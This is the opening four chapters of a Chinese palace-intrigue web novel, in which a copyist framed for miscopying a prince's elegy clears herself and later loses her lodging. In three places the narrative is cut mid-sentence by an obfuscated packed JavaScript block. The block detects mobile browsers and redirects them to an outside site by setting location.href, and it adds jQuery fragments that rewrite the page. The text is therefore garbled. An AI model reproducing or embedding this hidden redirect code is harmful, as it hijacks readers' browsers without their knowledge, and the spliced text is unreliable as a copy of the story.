《逃成阴鸷权臣心尖宠》 1. 错字 木樨池,梁城西郊园林。 初秋时节,满园丹桂送来馨香。金雨随风簌簌落下,随波翻浮。秋景如画,顾雁却毫无心情欣赏。 她与同行的另八人,正随几名神鸮营宿卫穿过园林,走向伫立于池边的木樨阁。 顾雁背上凉意一阵紧接一阵,窜到胸口,教心脏狂跳不止,又窜到双手,让掌心直冒冷汗。 阁楼守卫先行通报后,将一行人带到顶层。 窗外树影摇曳,清风盈盈。满室茶香氤氲,混着沁人心脾的桂香。二十多张木案座无虚席,却鸦雀无声。今日,颖王在此召集士人举行文会,却因这一行人的到来而中断。 顾雁低着头,与众人一道进门,跪到厅堂中央。视野余光最前方,一袭玄色衣摆落于首座。 “民女容娘,拜见颖王殿下。”顾雁与其他人一道伏拜。她躬身伏地,额下的地板格外冰凉。 同来的程府老仆见礼后,抱着一沓手稿疾步上前:“殿下,二公子,手稿已找到,上面的确没有错字。”他顿了顿,又道:“佣抄者也已找到,就是她写错了。” “不是我!”顾雁倏尔抬头。 一张轮廓分明的俊朗脸庞映入眼帘。 那人剑眉入鬓,瞳似点漆。一身玄色暗纹长袍,高冠博带,腰佩长剑,自显王者威严。 对视的一刹那,他平静深邃的目光,仿佛穿透了人心。 顾雁抬头后,周围响起一片低声惊叹。无数道惊艳的目光,落在她的妍丽面庞上。这位娘子虽然荆钗布衣,素面朝天,眉眼却美得更胜画中仙子。惊艳之后,那些目光又浮出叹惜之色。 可惜,她却闯出了大祸。 顶着满座目光,顾雁却浑然不觉,只直勾勾地盯着座首之人。 颖王卫柏。 他有些讶异她的直视,挑了挑眉,平静接住了她的目光。 程府老仆跪到颖王案边,将那一沓手稿依次摊开。听到顾雁反驳,老仆兀地扬起手中一册书,回头问道:“第五卷不是你所抄?” 顾雁回过神来,抿了抿唇:“是我所抄。” “那还狡辩什么!”老仆面色一沉。 “第五卷虽然是我所抄,但那些错字绝非我所写!”顾雁提声又道。话音一落,周围士人交换起疑惑的目光。 “荒谬!”老仆怒斥。 卫柏微敛瞳眸,开始打量起她。 顾雁看向老仆手中的书。 《西园集》第五卷。 两月前,程府老仆带着一沓手稿来到东文书肆,要他们誊抄成册,共计七卷,说他家主人将有大用。 如今大齐士族文赋成风,喜编文集。若要将手稿编成书籍,就得请人誊抄整齐,再线装成册。于是,书肆管事将手稿分发下去,选了七人各领一卷抄写。 作为书肆里的一名佣书人①,顾雁负责第五卷。 然而今日午后,她正在书肆抄书。程府老仆突然带着几个神鸮营宿卫,把这七名佣书人全数带走,押到这座木樨阁。在路上她才知道,第五卷竟出了大问题! 此刻,程府老仆举着那本书,说得痛心疾首:“当时我千叮咛万嘱咐!二公子辗转各地,请出十二位德高望重的名士,来评议颖王殿下的神品诗赋,半个字都不能错!结果你抄成什么样了!” 又来了,顾雁听得直冒恶心。 老仆口中的二公子,便是他的主人程谦,当朝尚书仆射之次子,领着散骑侍郎的闲职。说来说去,《西园集》就是程二公子用来讨颖王欢心之物。有几首还是卫柏十岁前写的小诗,也好意思吹成神品? 太不要脸了! 不过看在钱的份上,顾雁暂时忍着。 她抄书认真,几无错处,如今是书肆最赚钱的佣书人。谁跟钱过不去呢?只有攒下许多钱,才能为今后做更好的打算。 此刻,老仆走到近前举起书册:“你自己好好看清楚!”他紧捏着书,手腕还在颤抖。 顾雁拽过书册翻开,才粗略翻了一半,就发现了四五个错漏之处。她当即摇头:“当时抄完我检查了好几遍,没发现任何问题!” “那这些错字怎么来的?凭空生的?”老仆粗粝的手指,重重敲在书页上。 顾雁转头看向身旁跪地之人:“抄完上交时,赵管事也看过,没发现任何错字吧?” 书肆老管事应得吞吐:“这、这……以前信任你,你所交抄本,我都不曾认真检查……” 顾雁心头一堵。 这老头胆小怕事,把责任推得干净。不过他说的也是事实,她交的抄本一向字迹清俊,整洁无误。时间一久,老管事就不怎么检查了。 她继续翻阅,确认这本书是自己抄完后亲手线装的。但她也笃定,当时绝没抄错过字。 可现在,书上真真切切有好几个错字,还跟她的字迹一模一样。 怎么回事?! 老仆仍在愤慨:“二公子本打算在今日文会上,将此书呈给颖王。没想到,第五卷竟错漏百出!害二公子颜面扫地!”他捏着书页,翻到一处,“你抄错哪里不好,偏抄错这个字!” 长满老茧的手指下方,一个字醒目地刺进顾雁视野。 这是颖王写的一首悼亡诗《涧邑行》。抄写时她还暗暗感慨:写得还挺真情实感。然而眼前书上,原文一句“长怀以忧”,却写成了“长怀以乐”。 顾雁倒吸一口凉气。 这一错,把颖王缅怀亡父的忧伤之情,写成了欢乐。 “颖王殿下翻前几页时,没说什么,翻到这里时,就把书递回给了二公子。二公子一看,差点气血攻心倒下去。手稿上可没有错字啊!你好大的胆,竟敢陷颖王于不孝,陷二公子于不忠!”老仆朝天拱手,说得铿锵有力。 他一直提及的程二公子,就坐在颖王右下方。年方而立的程谦蓄有一绺飘逸长须,此刻他面色如霜:“不敬先王,不敬殿下,乃是重罪!” 原来,今早弄出这般大阵仗,归根结底是源于这个“乐”字。 如今有多少人百般逢迎颖王,就有多少人愤慨声讨他。 传闻先颖王病重之际,卫柏弑兄夺位,将先王气得一命呜呼后,又变本加厉软禁齐帝。梁城之外,无数人骂他篡权窃国,狡诈无情。 所以,卫柏早上什么都没说,只把书递回去,程二公子便惶恐得快晕过去。 说颖王面对父亲亡故,还心怀欢乐,是在指代什么?! 两字相差甚大,是无心笔误还是故意嘲讽,谁说得清?! 怪不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425950|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,程二公子急得即刻派人找来手稿,还把佣书人统统押来,以证自己的清白。 一阵寒意交织着怒火,从顾雁的脊背直窜天灵盖。 眼下他们都怪她写错了,简直是天大的冤枉!她若背了罪名,岂非死路一条! 她压住发颤的手,捏紧书册:“我从未抄错!有人模仿我的笔迹,替换了我抄好的书页!” “小人可没做过这种事!”跪在身旁的赵管事连忙呼喊。其他佣书人也连忙附和,大喊冤枉。 “我也没做过!” “抄错字乃是常事,她自己写错,还赖到别人身上!” “天天忙个不停,谁有闲工夫陷害她!” 周围座上的士人们,交换着怀疑的目光。 座首的卫柏斜倚凭几,淡然瞧着众人神情,任屋内喧嚣四起。 顾雁默然翻着书,心情愈发低沉。 错字与她的字迹一模一样,她来回看了好几遍,也没看出差别。对方不仅模仿了她的笔迹,重抄了错字所在的整张书页,还把她线装完成的书册拆开,再替换重装,才仿得这般天衣无缝,可见对方是佣书老手。 顾雁眸中浮起霜色,冷冷睨向旁边喊冤的众人。 书肆这些佣书人里,她是唯一的女子,一来就凭本事拿到最高工酬,还得到老管事信任,总能佣抄重要书稿。曾有人阴阳怪气,问她怎不在家相夫教子,拼命赚钱作甚。她懒得解释,也从未跟人起过冲突。没想到,今日竟摊上这般祸事! 她厌恶至极地收回目光,俯首说道:“常年抄书之人,模仿字迹并不难。容娘乃一介孤女,流民出身,何苦得罪颖王自寻死路?还请公子详查。” 程二公子紧蹙着眉,问道:“若按你所说,有人大费周章模仿你,所图为何?” “大概,”顾雁长睫轻颤,“想把我赶出东文书肆吧。” 有人啧啧轻嗤:“不至于吧。” 程二公子疑窦地打量她,又看向伏跪的其他人。片刻,他抚须摇头:“行了,莫再狡辩!严都尉,请即刻将她严加处置!此人与汝平程氏没有半分关系!” 满座目光落在她身上,冷漠的,同情的,看笑话的,就是无一人愿为她说一句公道话。 顾雁捏紧手,阵阵寒意袭来,漫过颤抖的脊背。 这厮根本就不想调查,他只想立刻找个罪魁祸首,对颖王有个交待,然后甩开这桩丢脸之事。 他所唤的严都尉,便是站在卫柏身后的神鸮营都尉,姓严名义,字叔仁。此人皮肤黝黑,高大壮实,一直面无表情,一双鹰隼般的眼睛直视前方。听闻此语,他只转头看向颖王。 卫柏睨向右前方,将程谦义正辞严的表态收入眼帘。他微微抬手,严义便跨步上前,拿走顾雁手中书册,返回躬身递上。卫柏倚着凭几,翻起书页。 程二公子再次唤道:“严都尉,将她……” “墨有区别!”顾雁忽然插话。 “什么墨不墨……” 程二公子的话没说完,卫柏翻书的手一停,他抬眸望向她:“详说。” 他声音低沉,仿佛玉磬回响。颖王一开口,满堂嗡议骤然停下,室内重归死寂般的安静。程二公子也迅速咽下没说完的话,立马换上恭敬之色。 2. 解诗 顾雁深吸一口气,迅速说道:“书肆只提供普通的石炭墨,墨色暗哑粗糙。我常用老松枝与墨块同研,以松脂入墨,墨色不仅润泽许多,还会沾染松香。其他人不知此法,也懒得费工夫,只加水研墨。将书拿到日光下自能分辨!错字所在的书页墨迹,定然粗糙无光。而我亲笔写的字迹,定会映出光亮!” 众人面露讶然,纷纷窃语。 “哎?她不是流民么,怎知这种研墨之法?” “哪有会识字抄书的流民,许是家中遇到变故了。” “谁知道呢。” 大家不约而同地看向颖王。 卫柏面露好奇,竟亲自起身来到窗边,对着日光翻看书页,又捧到鼻下细嗅。片刻,他回头道:“确实如此。” 屋里骤然像炸开的锅。 “还真有人仿写错字陷害她啊!” “谁干的,也太大胆了!竟敢乱改殿下的诗句!” 跪在后方的几名佣书人,顿时面色慌乱,大呼冤枉。 顾雁长长松了口气。 若非情急想起与他们研墨的区别,她今日就算浑身长嘴,也解释不清了。被赶出东文书肆都是小事,只怕还得送命!到底是谁干的,心肠竟如此歹毒! 卫柏倚着窗楹,随意翻着书册。 半晌,他淡然说道:“其实,尔等不必费心弄这些。每人心中都有杆秤,称着文章的斤两。孤的文章不会因为这种品评,就成了公认的神品。但也不会因为某些诋毁,就变得一文不值。” 程二公子面色红得发黑,像块风干的陈年猪肝。他低头拱手,与众人齐声应道:“臣谨记殿下教诲。” 顾雁依旧伏拜着,只能听到卫柏说话,不禁暗暗诧异。 这厮大权独揽,又喜作诗写文。还以为他这种人,就喜欢听臣下吹捧呢。她之前就抄过不少赞颂政令的骈文,全是马屁。一个窃国之贼,被吹成肱骨栋梁。大齐皇帝还活着呢,不知道的,还以为颖王才是皇帝。 以至于她现在一抄到颖王两字,就反胃想吐,全靠攒钱的信念忍着。 今日终于见到本人,没想到,他竟然不在乎评价。 而且,不是说他冷血无情吗?来木樨阁的路上,她都以为肯定要受刑了。没想到他说话挺温和,明明不高兴,面色却不见动怒。 卫柏翻完了书,默然看着窗外。 清风摇动枝叶,桂香缠绕楼阁,粼粼碧波荡漾。 许久,他吁了口气:“晦气,连赏桂的兴致都没了。” 他卷起手中书册,回头看向屋里跪地的佣书人:“写错字本是小事,无需斤斤计较。但孤很不喜欢,有人用《涧邑行》作刀,来勾心斗角。”他的漆黑瞳眸泛起一抹厌恶之色,又转瞬消失。 屋里再度寂静。 涧邑,一座河边小城,先颖王病故之地。 卫柏的目光彻底冰凉:“孤不想再看见他们。” 严都尉拱手应道:“末将领命。”他抬手一挥,门外几名宿卫疾步进屋,拎起那些佣书人。那几人都吓得面如土色,连连求饶。 一名宿卫来到顾雁身边,虽没粗鲁拎她,但也冷冷说道:“娘子,请吧。” 顾雁心底咯噔一响。 不想再见他们?是要杀了他们?还是把他们赶出梁城? 她好端端做错什么了,凭甚要被赶出梁城!她还有重要之事没完成呢! 天杀的卫柏,果然是混蛋! 顾雁揪紧衣袖,缓缓站起,迅速想着对策。 怎么办?怎么办? 她跟随宿卫慢慢走着,眼看离门口只有三尺远了。今日她一旦踏出这道门,也许就再没法留在梁城,找到母亲和兄长了…… 死就死吧! 她猛地咬牙,回身疾步上前,再次伏拜:“颖王殿下,请容民女斗胆进言。” 满座士人皆被她的举动惊住。 手中拎人的严都尉停下脚步,正欲拔剑阻止她,但见她停步伏拜,又松开了握住腰间剑柄的手。 卫柏压下瞳中讶异,盯着她:“说。” “《涧邑行》之错,对民女而言是被栽赃,实属冤枉。对殿下而言,是孝心蒙尘,被人误解。殿下也许觉得,若先王在天有灵,见到此错会怪罪殿下。但民女斗胆猜测,先王若见殿下长怀以乐,说不定,反倒会抚掌大笑呢。” 顾雁迅速说完,悄然咽下口中津液,又搓了搓手。她的掌心全是冷汗。 这一番话,简直石破天惊! 许多士人,包括程二公子在内,都惊愕地瞪着她说不出话。 卫柏微微眯眼,眸中闪过寒芒。 片刻寂静后,屋里爆发出各种惊斥。 “她疯了吧?!” “刚逃过一劫还不知足,突然说什么疯话!” 程二公子怒道:“你可知自己在说什么!” 顾雁抿了抿唇,继续不卑不亢说道:“民女佣抄书稿时,曾抄过先王病笃时所写的《西望梁城》。诗中有一句:‘西望高台,遥闻鼓瑟。斯魂归去,当纵慨歌。’” 她顿了顿,深吸一口气,又道:“民女深为钦佩先王,自知神魂将逝,仍慷慨纵歌。故民女斗胆以为,先王在灵前也许更希望,听到殿下奏乐弹歌来怀念自己,而非俯首忧泣。” 此言一出,周围众人纷纷倒吸一口气。 还真是……未曾想过的理解方式…… 一个乐字,被她解成奏乐的乐,而非欢乐的乐。 但是,先王灵前奏乐唱歌? 她不是一般疯吧! 这些士人目瞪口呆,连斥责都说不出来了。 “民女以为,以先王之豪迈豁达,定不会因此错而误解殿下,或迁怒无辜之人。民女斗胆……叩请殿下宽心!”终于说完了,顾雁双手攒拳,连额上也冒出了冷汗。 屋内久久寂静。 程二公子语塞片刻,很快又斥道:“不知天高地厚!以为会写几个字,就敢如此放肆,妄加揣测先王遗诗!” 那些士人都不敢直视卫柏的脸色了,只拿眼角余光瞄着颖王将作何反应。 卫柏倚窗而立,深深注视着顾雁。日光倾洒入窗,映着他英挺的侧脸,落下一片暗影。顾雁没抬头,亦察觉到他的沉默,让在座之人都不敢喘气。 许久,久到她觉得腰酸不已,咚咚乱跳的心脏也快跃出嗓子眼了。卫柏忽然轻轻一笑,转眸看向窗外:“叔仁,送她出园。” 士人们面面相觑,不知颖王在想什么。 顾雁听他语气轻快了许多,乱跳的心终于落了回去。听口气,这厮应该不会赶他们出城了吧? “遵命。”严都尉颔首应声。 这时,一阵微风透窗而过,送来浓郁的桂香。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425951|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “等等,再折一枝桂送给……”卫柏顿住,回头望向顾雁,“请教娘子姓名?” “民女从小不知父母何在,只被人唤作容娘。”顾雁应得丝滑。 “容娘,”卫柏低声重复了一遍,又道,“起来吧。” 顾雁彻底松了口气。 安全了。 等她回去,得好好查查今日是谁害她! “多谢殿下。”顾雁抬首起身。方才跪了半晌,猛一起身,腰骨深处炸开一股尖锐的疼,她浑身一僵,连忙偻背扶腰。 疼疼疼……动不了…… 她皱着眉头,用力揉着后腰,痛楚终于缓解些许。再抬头,她才发现,卫柏一直站在窗边注视自己。 屋里所有人都在看她。 顾雁面色一窘,忙朝卫柏颔首一礼:“民女告退。” 他轻轻点头。顾雁转身迈步,但因腰疼,只能慢行。严都尉招手让其他宿卫过来,拎走他原本拎的佣书人,然后走在顾雁身旁,并不催促。 “叔仁,”背后的卫柏忽然开口。 严义停步回身,俯首听命。 “你驾车送容娘回宅。另外,查清此事真相,再报于孤。” “是。” 顾雁倏尔睁大眼,颖王要调查这桩倒霉事了?她忙回头看向卫柏。他已转头望着窗外,手中卷着书册,不知在想什么。 “谢……”她欲再拜。 “不必跪了。”卫柏看着窗外摇曳的枝叶说道。 “……殿下,”顾雁从善如流地站稳,再次颔首一礼。 卫柏没再说话。 “请。”严义抬手示意。 顾雁轻轻点头,跟他走向门外。 余下一众士人瞠目结舌,目送二人出门。唯独程二公子久久盯着顾雁背影,眼中似要迸出恼恨的火星子。 —— 一炷香后。 宽敞的车厢里,顾雁靠窗而坐,揉着腰,无奈看着身边一丛桂枝。 这严都尉也是有劲儿,往树下一站,抬手便折断了三尺长、握拳粗的桂枝。方才她上车抱着,枝条被车门挡住都没法进,又才卧放在车里。别人折桂都是细细一枝,拿着闻香。她倒好,抱着这般粗一根,跟挖了棵树似的,拿回去都没地放,看着都发愁。 不过,桂枝树叶繁茂,金花簇簇,香气填满车厢,她仿佛坐进香海,闻着闻着,腰疼都消减了许多。 顾雁吁了口气。 那厮还说晦气,她今日才晦气好么! 天天伏案抄书,落下腰疼的毛病,早上平白无故被拉去跪了那么久,弄得腰疼复发,烦死了!幸好安然无恙回来了,不耽误与张娘子的约定。 想到这,顾雁抬声道:“严都尉,劳烦驶往南市的百戏馆。” “嗯。”严义扬鞭催马。 这是颖王的备用车驾,平时放在木樨池园林,有专人照看。眼下驾车之人是神鸮营严都尉,乃颖王身边宿卫营的统领。顾雁坐在车里,只觉浑身都不自在,只好转头看景。 窗外,一块木牌悬于车顶,随着车轮前行摇晃着。牌上刻有一个古拙苍劲的卫字。 与颖军军旗上的卫字一样。 如河砂般沉在心底的往事,忽被猛然掀起,将心脏狠狠一刺。 顾雁盯着那个卫字,眸中烦躁散尽,只余尘沙翻覆,久久不歇。 3. 戏文 许久,马车终于来到南市附近。 街上人头攒动,挤挤攘攘。一条长队从百戏馆门口延伸到临街。顾雁请严义提前靠边停车。她刚想下车告辞,他却说也要到百戏馆办事。顾雁只得按下疑惑,与他同行。 百戏馆刚打开大门,门口长队缓缓前移。两人随人流进入馆门。顾雁没去戏台前,只对小厮道:“我找张娘子。” “容娘来啦!张娘子在后院等你呢!”小厮刚绽开笑意,便见一名黑壮军士举起神鸮营令牌,投来一道冷厉目光:“找你家管事。” 小厮浑身一凛,笑意瞬间凝固:“张、张娘子在后院。” “带路。”严义沉声道。小厮回过神,连忙躬身引路。 顾雁更奇了,难道百戏馆惹上了麻烦?还没多想,那两人已走远,她连忙跟上。 后院。 正在算账的张娘子接到通报,赶紧出门见礼。顶着神鸮营都尉的凶狠目光,她有些不知所措。直到严义问道:“戏馆近来闻名的《狐姬夜游》,我要买下文稿带走,开价。” 张娘子更懵了,悄然瞥向一旁的年轻女子。顾雁亦愣住,又缓缓摇头,表示一无所知。 “呃,”张娘子见他面凶言寡,不敢多问,忙道,“文稿就在房里,请稍等。” 她赶紧返身回屋,很快捧出一卷纸稿:“既是都尉要,怎好收钱呢!只管拿走便是!” 严义接过纸稿打开扫视。忽然他鼻头微动,凑近纸稿细嗅:“怎有股松香味?” “容娘写的文稿都这样。”张娘子脱口而出。 严义转头问顾雁:“这篇文稿也是容娘子抄写的?” 顾雁莞尔:“是我空闲时胡乱编写的戏文。” 严义点点头,将纸稿收入怀中。他解下腰间一囊钱袋丢给张娘子,又对顾雁拱手:“某已办妥事务,现回车上等容娘子。” “待会我自己回去便好,不用再劳烦都尉!”顾雁忙道。 严义停步:“主公令某送娘子回宅,还未送到,恕某不得违令。”说罢他微微颔首致礼,转身大步走远。 “哎……”顾雁看着他的背影,无奈一叹。 见他走远,张娘子终于大大松了口气:“见面就凶巴巴地瞪我,吓得我以为犯了什么事!”她拍拍胸脯缓过神,忙上前拉住顾雁:“容娘,你怎与神鸮营都尉同来?他买戏文作甚?” “谁知道呢,”顾雁摇头,又把午后的倒霉事愤愤说了一遍,令张娘子听得目瞪口呆。 “谁这般歹毒!若不是你细心,就解释不清了呀!”张娘子啧啧惊叹,挽着顾雁走进屋里,“来来来,把晦气丢到一旁,先领了你的酬劳再说。” 当张娘子把沉甸甸一袋钱递来,顾雁的手腕都被压得有点疼。她掂了掂,忍不住问:“说好酬劳一百五十钱,怎多给了一倍?” 张娘子弯起眼,眼角绽开的细纹,与她额前黄钿一同盛放如花:“玄阳天君保佑,幸亏赵管事荐了你。自从上演你写的《狐姬夜游》,馆里赚的赏钱比上月足足翻了五番!” 她伸手比划着,又拍了拍顾雁手中的钱袋:“一点谢意,拿着。”说着,她又把严都尉扔的钱袋一同递去:“这本该也是你的。” 顾雁弯眼笑开,也不推辞:“多谢。”两个沉甸甸的钱袋,将不悦的心绪瞬间冲散。 这时,窗外传来一阵高亢的喝彩,却被一堵白墙隔开。阵阵声浪自墙后传来,似要把墙推倒。 张娘子瞥了一眼,由衷叹道:“以前咱这的杂耍奇技,大伙都看厌了。我哪想过,还能把这些方外志怪、郎情妾意,与杂耍乐舞编在一处做戏呢。没想到不消几日,便这般火热!馆里很久都没这般热闹了……”说着,她眼角不禁湿润,她飞快抹了一把,又笑吟吟地望来。 墙那边断续传来唱词。 “星河璨璨,夏夜流光。空林幽寂,山风清凉。奚有婴啼,四顾彷徨。” 夜游山林的狐姬捡到一个婴孩,却发现孩子重伤,她也回天乏力。狐姬情急之下,想接近一名除妖方士,骗他丹药以救婴孩。不料却被方士发现,只得施障眼法逃脱。 还没看过戏台上的狐姬呢……顾雁站起身:“张娘子,我得回去了。” “好好!”张娘子忙起身相送,最后仍不忘倚门嘱咐,“容娘,再写了新戏,都送来我看啊!” 前馆戏台大院。 台下满座看客,正聚精会神地盯着戏台,时而被狐姬惹得连连叹息,时而被方士的御火术惊得高呼。 顾雁沿墙边廊道往前,挑了一处抱着钱袋站定,远远瞧着戏台。 那狐姬白粉敷面,身姿婀娜,怀抱襁褓,眼看将被方士擒住,忽然台上冒出白烟,她倏地消失了身影。“好——!”台下爆发出欢呼。 顾雁弯起眼,转身继续前行。严都尉还等在外面,等改日无事,再来好好看一场吧。 她所住的东文书肆,离百戏馆就隔一条街。严都尉将她送到书肆门口,才催马离开。 书肆铺门紧闭,她推门进去,里面也空无一人。此刻抱着一根粗壮的桂枝,沉甸甸的两袋钱,后腰还隐隐作疼,她只想赶紧穿过前铺,回后面歇着。 顾雁住在后院库房最靠北的一间,原是放纸墨的库房之一。前两年,赵管事见她孑然一身,在梁城又举目无亲,便起善心挑了间库房,让她收拾出一块空地,放张小榻住下,顺便照看着库房纸墨。 她一脚踢开房门,将桂枝和钱袋扔在墙边装纸的木箱上,倾身往榻上一倒,长长舒了口气。 一天天过的,都是什么日子…… 下午的惊心动魄仿佛是场梦。 但逐渐充盈的清澈桂香,驱走屋中纸张散发的陈腐之气,分明又在提醒,那不是梦。 顾雁闭上眼。 眼前浮现出一幅幅画面,是江州的码头边。 母亲牵着她的小手,翘首等待父兄归来。 船还没靠岸停稳,兄长便翻舷跃上码头,将她高高抛到天上。她咯咯直笑,落下便抓住兄长头发,将他的发冠扯得乱七八糟。 身后传来父亲的爽朗大笑,说真是将门虎女,胆量随我! 却引来母亲柔声嗔怪,说她今日字帖还没临完呢,你们都给我赶紧回家! 直到某日,归来的船上挂满白幡,兄长面色沉重地走下船。几名军士抬下一口棺木,母亲哭着扑到棺上。 兄长紧紧捏着她的手,蹲下对她说:“父亲剿匪中箭,是为江州而死。阿雁,现在就剩我们了。” 她狠狠点头,用肉嘟嘟的小手拭去他面颊的眼泪:“兄长莫哭,阿雁在呢。阿雁永远都不会丢下母亲和兄长。” 江州…… 好想念江州…… 心被思念越绞越紧,枕褥渐渐浸湿。浓重的疲惫袭来,顾雁坠入梦乡。 一觉醒来,已是深夜。 顾雁清醒了许多,腰疼也消减了不少。她翻身而起,摸黑拿到木箱上的钱袋,又熟稔摸到墙角一口木箱后,搬出一个小木匣放到榻上。她掏出贴身挂在脖上的钥匙,打开小匣。 月光透窗,将匣底一块小银饼映得发亮。顾雁将钱袋收进小匣里,满意地拍了拍它们:“等攒够了,又能换一块银饼了。” 她锁好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425952|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小匣放回原位,搬好木箱挡好,倒头继续睡觉。 第二日,书肆还是无人。直到下午,顾雁忽听院中传来急促的脚步声。她忙推门出去, 五名府卒押着书肆的一群人进入后院。其中两名佣书人架着一人,中间被架之人怏怏垂着头,只穿一身白色里衣,背上血痕斑驳,显然是受了刑。其他人皆衣衫脏污,面容憔悴,只一日不见,却都像脱了层皮。 府卒环视一圈后院,冷冰冰说道:“府君有令,东文书肆即日起查封。你们各自收拾,尽快离开!”说着,其他几名府卒开始给库房、店铺贴封条。 人群中的赵管事佝着身子,颤抖着手想阻拦,却又不敢上前。一日不见,他原本花白的头发几乎全白了。 有两人搬来一张平时抄书用的竹案,让被打之人趴在上面歇着。顾雁认出那人叫史六,在书肆佣书十多年。此刻他面色苍白,气若游丝,可见被打得不轻。 有个十五六岁的少年一直在旁抹泪,那是史六的弟弟,也在书肆做搬运小工。少年转头看见顾雁,愤然喊道:“我兄长不就写错几个字,你何至于状告到颖王面前,害他被打成这样!” 所有人朝顾雁望来。 顾雁平时独来独往,与众人不过点头之交。昨日她想过到底是谁,此刻恍然:“原来是他。” 有人嘟囔:“这回满意了吧,书肆被查封,大家都得走!” 少年气得要上前打她,又被旁人拉住,遂狠狠喊道:“毒妇!看我今天不打死她,为我兄长出气!” “你兄长歹毒愚蠢,犯错牵连书肆,与我何干?”顾雁一听就火大。那少年张牙舞爪,正用力挣脱旁人。她往后一退,迅速环顾,然后回屋拎起那丛桂枝,利落掰断多余细枝,返身握着三尺长的粗枝直指少年:“来!” 从小看父兄舞枪,一些简单招式早就学会了。 “你兄长若只写几个普通错字,还不至于受此重刑。他无非觉得那样赶不走我,竟改了《涧邑行》,想让我毫无转圜余地。若非我自救,今日被笞打之人就是我!谁叫他用心歹毒,结果都报应到自己身上!”顾雁扬起桂枝,在廊柱上狠狠一抽。 桂花抖落一地,檐下漫起烟尘。 院中众人看得目瞪口呆。谁能想到,平日寡言少语,看着温婉柔弱的小娘子,竟这般性烈如虎! 少年见顾雁凶烈,脚步迟疑下来,嘴上却不服输:“归根结底,还不是你这毒妇一来书肆就抢活。不独是我兄长,他们早就都想赶你走了!” 顾雁哂然失笑:“到底是一家,这时还把过错推给别人。” 史六闷哼着,从牙缝里艰难挤出字:“我被撺掇做出蠢事……是我愚笨……你得意什么……” 顾雁冷目扫视。其余人纷纷躲开她的犀利目光,一个个看天看地,就是不敢看她。她冷笑:“堂堂七尺之身,但凡把心思多花些在抄书上,或许还能与我抄得一样好。” 众人脸色难看得像打翻的酱碟,没人再回一句嘴。 顾雁转身回到自己的房间,“砰”一声关上门。 少年大哭起来:“我们往后可怎么办啊……”史六烦躁闷哼:“还没死……就在哭丧……” 隔着门,声音断断续续,听不真切。 不过,这些都再与她无关了。就算书肆没被查封,她也不想再待下去了。 顾雁把枝条扔在墙边,趴到榻上。 背上明明空无一物,但每走一步,却觉无比疲累。若不是想找到母亲和兄长,谁想来梁城!接下来,又能去哪…… 算了,去戏馆问问张娘子,看能不能收留她吧。 4. 门路 顾雁平复了心绪,又爬起身。行装不过三四套衣裳,裹住带锁的小匣,全塞在一个包袱里。她背起包袱,转身睹见桂枝。犹豫了一瞬,她拿起桂枝迈步推门。 若还有哪个不长眼的想动粗,就抽死他们。 院里,众人进进出出收拾着东西。少年人扶着史六,缓缓挪步往外走。大家见她拎着粗枝出门,都忙不迭地躲闪目光,不再看她。 顾雁走到赵管事面前,恭敬一礼:“仍要多谢赵管事,两年前留我在书肆做工,还将我荐给张娘子,让我多份进项。容娘先行告辞了。” “去吧。”老人疲惫扬手。 顾雁颔首转身,大步往外走去。路过那对兄弟身旁时,少年冷嗤一声,朝她翻了个白眼。顾雁亦狠狠回瞪。 少年嫌弃转头,朝兄长低声抱怨:“一个死了全家的泼皮货,嚣张什么。” 顾雁刚准备迈过门槛,脚骤然悬停半空。她猛地转身,压住微颤的声音,厉声问道:“你说什么?再说一遍?!” 少年偏过头,昂起下巴:“谁说你了,我又没指名道姓。” 顾雁紧捏枝条,深吸一口气。她抬手一挥,枝条快得只剩残影。少年只觉膝盖钻心地疼,猛然跪倒在地,也连带他兄长也差点摔倒。 “你敢打我!”少年咬牙喊道。 “我好好走道,哪知有不长眼的恶狗撞来,还拦在路上乱吠!”顾雁剜了他一眼,转身迈步。 “你个毒妇……” 少年起身欲追,却被匆忙赶来赵管事拉住。“少说两句!”老头用力一拍他的头。 “她先打我!”少年不服气,“我撧了她那根烂木头!” 赵管事用力拉住比牛劲还大的少年:“什么烂木头,那是颖王赠的桂枝!人家能得颖王赠桂,你们除了背后乱嚼,还有什么本事?” 少年怏怏垂下头,偷瞄着再看,容娘已消失不见了。 南市街道行人往来。顾雁缓缓走着,紧紧抿唇,强忍住眼眶里的酸涩。 这一路北上,混在流民队伍里时刻警惕,在脸上抹泥,身上脏得发臭时,她不曾哭过。 夜宿荒野,爬到树上缩成一团,听远处狼吠吓得睡不着时,她也没哭过。 躲了好几日寒雨又冷又饿,走得脚底起泡,溃了又好,好了又溃时,也没哭过。 她能坚持到梁城,全凭心头那个念想,找到亲人下落。是死是活,都要找到。 说她泼皮,她认了。 